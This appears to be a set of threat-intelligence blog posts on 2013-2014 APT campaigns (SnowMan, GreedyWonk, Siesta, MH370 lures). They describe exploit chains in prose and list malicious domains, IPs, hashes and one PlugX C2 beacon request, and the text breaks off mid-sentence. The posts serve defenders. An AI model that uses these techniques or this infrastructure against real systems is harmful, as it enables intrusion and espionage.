• Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
• China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

Diplomacy

Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

• The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
• In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
• The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
• FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
• Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

Technical Trends

Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

Exploits

Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

• CVE-2013-0640, which was used in the MiniDuke attacks,
• CVE-2013-1347, which was used in a watering hole attack on the Department of Labor website,
• CVE-2013-3893, which was deployed by the same group, DeputyDog, which compromised Bit9 earlier in the year,
• CVE-2013-3906, which was used in both targeted attacks and in cybercrime campaigns
• CVE-2013-3918, which was also deployed by DeputyDog in a watering hole attack.

Evasion

The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Taidoor, Terminator (aka FakeM), and Sykipot were modified.

Threat Actors

Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

• Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.

• Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

My colleagues at FireEye have put forward some interesting predictions for 2014 that cut across these themes. While the noisier groups will continue their operations as usual — being documented in research papers rarely seems to faze them — I believe that some groups will adopt increasingly stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

Here at FireEye, the New Year gives us an opportunity to look back at 2013 and analyze what happened in cyber security from a high-level and strategic perspective.

Let’s start with Asia. Cyber attacks against government websites in Southeast Asia and Australia made the front-page news, reminding security professionals that cyber threats are both a global and a regional issue.

While attention-seeking hackers are trying to attract as much press as possible, organized and resourceful cyber criminals and nation-state threat actors are capable of more advanced – and stealthy – attacks. Motivated by economic and political aims, some of the most advanced cyber attacks are designed to steal information (or, like Stuxnet, sabotage critical infrastructure) and evade detection. Therefore, this class of attacks can often go unnoticed for long periods of time.

Advanced Attacks in Asia: 2013

In our research at FireEye Labs, the Asia Pacific as a region is two times more likely to be targeted by advanced cyber attacks than the world as a whole.

Based on our data, here is a list of the top 10 most targeted countries in Asia during the past year. This data represents only those attackers that we regard as “advanced persistent threats” (APT) or targeted attacks.

1. South Korea
2. Japan
3. Taiwan
4. Thailand
5. Hong Kong
6. Philippines
7. India
8. Australia
9. Pakistan
10. Singapore

Beyond the top 10, Figure 1 highlights APT attacks that FireEye discovered in the region in 2013.

Figure 1: APT Heat Map in Asia Pacific. The darker the hue, the higher the number of attacks we found.

Next, let’s consider which industry verticals in Asia were most often targeted by advanced attackers. Here is our top 10 list for 2013:

1. Financial Services
2. Government (Federal)
3. High-Tech
4. Chemicals / Manufacturing / Mining
5. Services / Consulting
6. Higher Education
7. Telecom (Internet, Phone & Cable)
8. Energy / Utilities / Petroleum
9. Entertainment / Media
10. State and local government

Within each country, we can examine the breadth of advanced attacks by counting the number of targeted verticals (see Figure 2).

Figure 2: Countries that had the highest number of distinct verticals targeted in 2013

Clearly, APT actors were busy last year, stealing information from every sector. And unfortunately, 2014 is likely to bring more of the same.

The Contest for Intellectual Property

According to the 2012 World Intellectual Property Organization (WIPO) report, which cited global data collected in 2010, three of the top five patent offices are now located in Asia, and they represented more than 45 percent of all patents filed worldwide. With such a high volume of intellectual property concentrated in the region, Asia is a logical battleground for cyber attacks. Stealing information about an advanced-stage product can allow an unscrupulous competitor to bring a similar product to market at a much lower cost and effort — and at the direct expense of the victim.

The 2013 Ponemon Institute Research Report estimated that the average total organizational cost of such data breaches is more than $4 million in Australia and more than $2 million in Japan. In high-profile advanced cyber attacks discovered in recent years, the cost of remediation for direct and indirect breaches has been estimated at between $50 million and $177 million.

Top APT Malware Detection in the Asia Pacific

These threat actors are using many tools, techniques, and procedures (TTPs), the most common of which in 2013 were Gh0stRat, Sisproc, Darkcomet, Heartbeat, and LV. In certain countries such as Japan, Taiwan, and South Korea, FireEye discovered more than 30 unique APT families.

Gh0stRat is one of the most commonly used remote administration tools (RAT) in the world. But we have also found an increased use of malware such as Houdini — a heavily obfuscated VBScript-based RAT that was analyzed by FireEye researchers in a recent blog post.

Some APT malware, such as Mirage, has been used for specific purposes in Asia. Threat actors using this malware often employ spear phishing attacks using legitimate decoy documents that are related to a target’s national economy or politics including regional events such as ASEAN summits, Asia-Pacific Economic Cooperation (APEC) summits, energy exploration, or military affairs.

Hotspots in the Asia Pacific

FireEye has consistently seen large concentrations of APT malware in Japan and South Korea. And unsurprisingly, both countries are also home to some of the world’s most productive patent offices.

That two of the most recently discovered zero-day vulnerabilities have been used in advanced cyber attacks specifically targeted at Japanese and Korean language users is striking:

• CVE-2013-3893 – Internet Explorer SetMouseCapture Vulnerability
• CVE-2013-3897 – Internet Explorer CDisplayPointer Vulnerability

Zero-day vulnerabilities are often hard to come by, and the frequent use of these exploits against Japan and Korea is an indicator of determined and resourceful attackers, as well as the high value of the information they are extracting from these targets.

In North Asia, APT tools such as Terminator RAT (also known as FakeM) have been repeatedly used by a single APT actor against Tibetan and Uyghur activists. But we are also seeing an increased number of such attacks in Taiwan. This APT group is also one of many that have been changing their tools, tactics, and procedures (TTPs) in order to evade security defenses.

In South Asia, a recent zero-day vulnerability was found to be exploited in both targeted attacks and crimeware campaigns concentrated in India and Pakistan:

• CVE-2013-3906 – Graphic component vulnerability exploited through Word documents

The Future: A Cyber Arms Race

In the Asia Pacific region, the threat of advanced cyber attacks is both complex and diverse. We have seen attacks that are customized toward language-specific platforms, strategic web compromises of local and regional websites, and spear-phishing with highly customized themes and content.

Many organizations today, however, rely on security strategies that were developed several years ago using traditional controls such as anti-virus software and firewalls. While these strategies served well in the past, security professionals must reassess their efficacy against the evolving APT threat landscape and the evasive tactics used in these cyber attacks.

On February 11, FireEye identified a zero-day exploit (CVE-2014-0322)  being served up from the U.S. Veterans of Foreign Wars’ website (vfw[.]org). We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend. Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns (Operation DeputyDog and Operation Ephemeral Hydra).

This blog post examines the vulnerability and associated attacks, which we have dubbed “Operation SnowMan.”

Exploit/Delivery analysis

After compromising the VFW website, the attackers added an iframe into the beginning of the website’s HTML code that loads the attacker’s page in the background. The attacker’s HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit. The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript.  Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.[REDACTED].com/Data/img/img.html.

Mitigation

The exploit targets IE 10 with Adobe Flash. It aborts exploitation if the user is browsing with a different version of IE or has installed Microsoft’s Experience Mitigation Toolkit (EMET). So installing EMET or updating to IE 11 prevents this exploit from functioning.

Vulnerability analysis

The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The vulnerability allows the attacker to modify one byte of memory at an arbitrary address. The attacker uses the vulnerability to do the following:

• Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR)
• Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP)

EMET detection

The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL. Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present.  The exploit proceeds only if this check determines that the EMET DLL is not present.

ASLR bypass

Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR. For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory. We have discussed this technique and other ASLR bypass approaches in our blog. One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit.

Code execution

Once the attacker’s code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code. The attacker then overwrites the vftable pointer of a flash.Media.Sound() object in memory to point to the pivot and begin ROP. After successful exploitation, the code repairs the corrupted Flash Vector and flash.Media.Sound to continue execution.

Shellcode analysis

Subsequently, the malicious Flash code downloads a file containing the dropped malware payload. The beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR key of 0×95. The attacker appends the payload to the shellcode before pivoting to code control. Then, when the shellcode is executed, the malware creates files “sqlrenew.txt” and “stream.exe”. The tail of the image file is decoded, and written to these files. “sqlrenew.txt” is then executed with the LoadLibraryA Windows API call.

ZxShell payload analysis

As documented above, this exploit dropped an XOR (0×95) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce). The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11. This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website. A possible objective in the SnowMan attack is targeting military service members to steal military intelligence. In addition to retirees, active military personnel use the VFW website. It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down Thursday amid a severe winter storm.

The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations. This particular variant called back to a command and control server located at newss[.]effers[.]com. This domain currently resolves to 118.99.60.142. The domain info[.]flnet[.]org also resolved to this IP address on 2014-02-12.

Infrastructure analysis

The info[.]flnet[.]org domain overlaps with icybin[.]flnet[.]org and book[.]flnet[.]org via the previous resolutions to the following IP addresses:

• 58.64.200.178
• 58.64.200.179
• 103.20.192.4

We previously observed Gh0stRat samples with the custom packet flag “HTTPS” calling back to book[.]flnet[.]org and icybin[.]flnet[.]org. The threat actor responsible for Operation DeputyDog also used the “HTTPS” version of the Gh0st. We also observed another “HTTPS” Gh0st variant connecting to a related command and control server at me[.]scieron[.]com.

The me[.]scieron[.]com domain previously resolved to 58.64.199.22. The book[.]flnet[.]org domain also resolved to another IP in the same subnet 58.64.199.0/24. Specifically, book[.]flnet[.]org previously resolved to 58.64.199.27.

Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.]org, ali[.]blankchair[.]com, and cht[.]blankchair[.]com. The domain dll[.]freshdns[.]org resolved to 58.64.199.25. Both ali[.]blankchair[.]com and cht[.]blankchair[.]com resolved to 58.64.199.22.

A number of other related domains resolve to these IPs and other IPs also in this /24 subnet. For the purposes of this blog, we’ve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns.

You may recall that dll[.]freshdns[.]org, ali[.]blankchair[.]com and cht[.]blankchair[.]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra. Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFW’s website, the DeputyDog, and the Ephemeral Hydra operations.

Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra

Links to DeputyDog and Ephemeral Hydra

Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include:

• The use of zero-day exploits to deliver a remote access Trojan (RAT)
• The use of strategic web compromise as a vector to distribute remote access Trojans
• The use of a simple single-byte XOR encoded (0×95) payload obfuscated with a .jpg extension
• The use of Gh0stRat with the “HTTPS” packet flag
• The use of related command-and-control (CnC) infrastructure during the similar time frames

We observed many similarities from the exploitation side as well. At a high level, this attack and the CVE-2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw. The code within the Flash files from each attack are extremely similar. They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name.

Conclusion

These actors have previously targeted a number of different industries, including:

• U.S. government entities
• Japanese firms
• Defense industrial base (DIB) companies
• Law firms
• Information technology (IT) companies
• Mining companies
• Non-governmental organizations (NGOs)

The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term.

Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.

Discovery

On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.

Mitigation

To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

• Windows XP
• Windows 7 and Java 1.6
• Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

Vulnerability analysis

GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

ASLR bypass

The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

Shellcode analysis

The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

PlugX/Kaba payload analysis

Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

This PlugX payload was configured with the following command-and-control (CnC) domains:

• java.ns1[.]name
• adservice.no-ip[.]org
• wmi.ns01[.]us

Sample callback traffic was as follows:

POST /D28419029043311C6F8BF9F5 HTTP/1.1
Accept: */*
HHV1: 0
HHV2: 0
HHV3: 61456
HHV4: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)
Host: java.ns1.name
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Campaign analysis

Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.  java.ns1[.]name also resolved to 192.74.246.219 on February 18.

Further research uncovered a number of older malware samples connecting to the same domain wmi.ns01[.]us.

The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.

This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012.

During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75.

The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.

Conclusion

This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

A series of spectacular cyber attacks have breached big-name retail stores in recent months, including Target, Nieman Marcus, and Michaels. These incidents are the only latest in what has become an alarming trend.

In 2013, for example, the U.S. Department of Justice (DoJ) profiled a financial hacking scheme in which four Russians and one Ukrainian penetrated the computer networks of retail organizations. This series of attacks yielded more than 160 million credit card numbers — and cost corporations and consumers hundreds of millions of dollars. The cybercriminals sold the credit card data (which was stored on computers scattered around the globe) and sold it via hacker forums. They charged $10 for American cards and $50 for European cards.

The FireEye Dynamic Threat Intelligence™ team can confirm that the retail sector faces an increased risk from actors using point-of-sale (POS) malware to steal customer credit card data. Ongoing attacks against our retail clients align closely with the DoJ revelations and recent headlines. FireEye is actively tracking one financial threat group that we believe is associated with Russian and Ukrainian attackers.

FireEye has tracked financial cybercrime for many years.

In 2007, FireEye observed multi-stage attacks. These attacks typically begin with an SQL injection against a target’s Internet-facing systems. Next, attackers dive deeper into the compromised network, systematically finding and exfiltrating sensitive data. Finally, the attackers install backdoors in the network so that they can return at will.

In 2009, FireEye investigated the compromise of a major beverage retailer. In that attack, criminals obtained access to the retailer’s Internet server and cash registers. The attackers installed “The Perfect Keylogger” application to steal cardholder data. At regular intervals, malware sent stolen information to a File Transfer Protocol (FTP) site and AOL e-mail address. Afterward, the malware deleted itself and other evidence to frustrate forensics researchers.

Cybercriminals are highly creative, and they constantly invent new moneymaking schemes. In the U.S., for example, some attackers have simply hacked into a retailer’s Internet server and changed the shipping address associated with certain high-value orders. The unwitting retailer sends purchases bought with a stolen credit card to an unoccupied house, where a local “money mule” picks it up.

This scam has an immediate, tangible impact: retail losses from reversed credit-card charges. But such attacks also indirectly hit a retailer’s long-term bottom line through lawsuits, social media backlash, damaged reputations, and loss of consumer confidence.

At a minimum, FireEye recommends a twofold defense for retailers at risk from such attacks:

• Put a solid cyber incident response (IR) plan in place.
• Deploy a security platform that identifies both known and unknown threats, such as the zero-day attacks employed by advanced persistent threat (APT) actors.

Executive Summary

FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1.

The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

Overview

On March 6, 2014 TrendMicro reported on the Siesta Campaign. Though not explicitly stated in this report, the tactics, techniques and procedures (TTPs) described in this report share a number of characteristics with historical activity we’ve attributed to APT1 (also known as the “Comment Crew”).

We witnessed this same campaign targeting a customer in the telecommunications sector on Feb. 20, 2014, using a spear-phishing message with a link to ifuedit[.]net/Healthcare_Questionnaire.zip. This zip file contained a malicious executable with the following properties:

This sample initiated a callback to www[.]microsofthomes[.]com/index.html.

This same import hash was seen in the following samples:

Techniques, tactics, and procedures analysis

The TTPs described above are consistent with APT1. This group previously relied on establishing a foothold in targeted networks with following methods:

• Spear-phishing emails with links to archives
• Callback traffic to a legitimate-looking webpage

Analysis of Related Samples

A related dropper listed in the TrendMicro report on the Siesta campaign is MD5 0f3031412d255336a102bbc1dcd43812. This sample had the following properties:

The import hash of 0fefba40443edd57f816502035077e3e is in other samples linked to the Siesta campaign including:

The import hash from this dropper was also seen in a number of previous APT1 samples dating as far back as 2011 — well before the release of the APT1 report. We previously discussed the value of tracking via import hashing here. Other APT1 samples with this same import hash include (but are not limited to):

Further, the 0f3031412d255336a102bbc1dcd43812 sample dropped a backdoor with the MD5 hash 185e930a19ad1a99c226d59ef563e28c. This implant was stored as a resource within the dropper, and it contained a custom base64 alphabet of oWXYZabcdefghijkl123456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz. This custom alphabet was used by the malware to decode commands issued by the attacker to the victim machine and to Base64 encode the reverse shell from the victims back to the CnC server.This same custom alphabet has been used in previous APT1 samples including (but not limited to):

Both 61249bf64fa270931570b8a5eba06afa and 0f3031412d255336a102bbc1dcd43812 droppers also had a portable executable (PE) resource with the SHA256 of fb080cef60846528c409f60400f334100a16a5bd77b953c864b23a945fcf26fd. This PE resource contained the PDF icon used by the dropper to make the executable appear as though it was a PDF document rather than an executable. Previous APT1 samples also used this sample PE resource including (but not limited to):

Finally, the sample 643654975b63a9bb6f597502e5cd8f49 compiled on 2014-01-14 04:38:30 and seen connecting to the command and control server at www[.]cloudcominc[.]com also dropped a decoy PDF document with the MD5 hash of 76aa49de535ee39129d5751e00517ad0. This same PDF decoy document was also used in previous APT1 samples including (but not limited to):

Links to other Activity

This same PE resource was also used in a number of other samples deployed by the “Menupass” group, which we have detailed in our Poison Ivy report. Previous Menupass samples with this same PE resource include (but are not limited to):

Shared Tools

This shared PE resource between what is believed to be two distinct groups (likely APT1, and Menupass) can be explained by either of the following:

• APT1 and Menupass are actually one and the same
• APT1 and Menupass share “binder” tools

It is unlikely that APT1 and Menupass represent the same group. We have observed no other overlaps in infrastructure or tools between these two groups. A more likely possibility is that the shared resource between APT1 and the Menupass group is a binder tool.

A binder tool enables a malicious actor to add an innocuous-looking icon, such as a PDF document icon, to a malicious dropper. This technique facilitates social engineering, presenting the end user with a file that looks like a PDF document rather than an executable. Figure 1 shows a builder that enables actors to bind a JPG image icon to a malicious executable.

Figure 1: Binder tool for disguising executable files as JPGs

Attribution

Based on the evidence provided, the following are possibilities:

• The Siesta campaign was executed by APT1
• An unknown group using tools and tactics shared by APT1 executed the Siesta campaign

Although we are not certain that APT1 is responsible for the Siesta activity, this current campaign shares a number of distinct characteristics with previous activity attributed to APT1.

So What?

Regardless of which group is responsible for this campaign, our analysis highlights the importance of monitoring for known indicators. As shown above, monitoring for previously disclosed indicators of compromise (IOCs), even IOCs that are years old, can yield value.

Additionally, monitoring for IOCs and attributes of malware that are shared by multiple groups may also improve the effectiveness of your network defense operations. In this example, implementing detection for executables with a PE resource with a SHA256 hash of fb080cef60846528c409f60400f334100a16a5bd77b953c864b23a945fcf26fd would detect both Menupass and APT1 samples.

While many advanced persistent threat (APT) groups have increasingly embraced strategic Web compromise as a malware delivery vector, groups also continue to rely on spear-phishing emails that leverage popular news stories. The recent tragic disappearance of flight MH 370 is no exception. This post will examine multiple instances from different threat groups, all using spear-phishing messages and leveraging the disappearance of Flight 370 as a lure to convince the target to open a malicious attachment.

“Admin@338” Targets an APAC Government and U.S. Think Tank

The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.

The attachment dropped a Poison Ivy variant into the path C:\DOCUME~1\admin\LOCALS~1\Temp\kav.exe (MD5: 9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound to www.verizon.proxydns[.]com. This Poison Ivy variant was configured with the connection password “wwwst@Admin.” The APT group we refer to as Admin@338 has previously used Poison Ivy implants with this same password. We document the Admin@338 group’s activities in our Poison Ivy: Assessing Damage and Extracting Intelligence paper. Further, the domain www.verizon.proxydns[.]com previously resolved to the following IP addresses that have also been used by the Admin@338 group:

A second targeted attack attributed to the same Admin@338 group was sent to a prominent U.S.-based think tank on March 14, 2014. This spear phish contained an attachment that dropped “Malaysian Airlines MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97). The malware sample was crafted to appear as though it was a Flash video, by binding a Flash icon to the malicious executable.

Interestingly, in this case, the malware sets its persistence in the normal “Run” registry location, but it tries to auto start the payload from the disk directory “c:\programdata”, which doesn’t exist until Windows 7, so a simple reboot would mitigate this threat on Windows XP. This suggests the threat actors did not perform quality control on the malware or were simply careless. We detect this implant as Backdoor.APT.WinHTTPHelper. The Admin@338 group discussed above has used variants of this same malware family in previous targeted attacks.

This specific implant beacons out to dpmc.dynssl[.]com:443 and www.dpmc.dynssl[.]com:80. The domain dpmc.dynssl[.]com resolved to the following IPs:

The www.dpmc.dynssl[.]com domain resolved to following IPs:

Note that the www.verizon.proxydns[.]com domain used by the Poison Ivy discussed above also resolved to both 58.64.153.157 and 59.188.0.197 during the same time frame as the Backdoor.APT.WinHTTPHelper command and control (CnC) located at dpmc.dynssl[.]com and www.dpmc.dynssl[.]com.

In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild. Other threat groups likely sent these other documents.

The Naikon Lures

On March 9, 2014, a malicious executable entitled the “Search for MH370 continues as report says FBI agents on way to offer assistance.pdf .exe“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen circulating in the wild. This sample beacons to the CnC net.googlereader[.]pw:443. We have identified this sample, via forensic analysis, as Backdoor.APT.Naikon.

It uses a standard technique of changing its icon to make it appear to be a PDF, in order to lend to its credibility. This same icon, embedded as a PE Resource, has been used in the following recent samples:

This malware leverages “pdfbind” to add a PDF into itself, as can be seen in the debugging strings, and when launched, the malware also presents a decoy document to the target:

The Plat1 Lures

On March 10, 2014, we observed another sample that exploited CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5: 4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370 Flight Personnel Identity Information”. The malware that is dropped by the malicious Word document, which we detect as Trojan.APT.Plat1, begins to beacon to 59.188.253.216 via TCP over port 80. The decoy document opened after exploitation is blank. The malicious document dropped the following implants:

C:\Documents and Settings\Administrator\Application Data\Intel\ResN32.dll (MD5: 2437f6c333cf61db53b596d192cafe64)

C:\Documents and Settings\Administrator\Application Data\Intel\~y.dll (MD5: d8540b23e52892c6009fdd5812e9c597)

The implants dropped by this malicious document both included unique PDB paths that can be used to find related samples. These paths were as follows:

